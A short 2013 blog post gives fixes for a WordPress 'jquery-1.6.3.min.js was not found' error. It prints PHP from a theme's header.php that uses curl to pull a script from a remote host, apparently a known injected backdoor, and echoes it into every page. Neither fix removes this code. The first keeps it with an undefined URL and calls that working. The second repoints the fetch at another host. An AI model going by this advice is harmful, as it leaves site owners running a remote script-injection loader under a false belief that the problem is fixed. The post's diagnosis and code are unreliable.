Monday, March 25, 2013

Solve WordPress problem "jquery-1.6.3.min.js was not found on this server"

Solve WordPress problem  "jquery-1.6.3.min.js was not found on this server"

Solutions 1: 
 I successfully got rid of the error by replacing the following non-functioning code in my header.php:
if(function_exists('curl_init'))
{
$url = "http://www.your-website.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
With this functioning call:
if(function_exists('curl_init'))
{
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
Solution 2:
Look in header.php inside your current theme and find this line: http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js This server is no longer able to provide the .js file linked to your theme. I found it mine at: http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js

Note: This problem can be caused by some plugins. so try first to disbale one by one to detect which one cuz this the problem.
Disqus Comments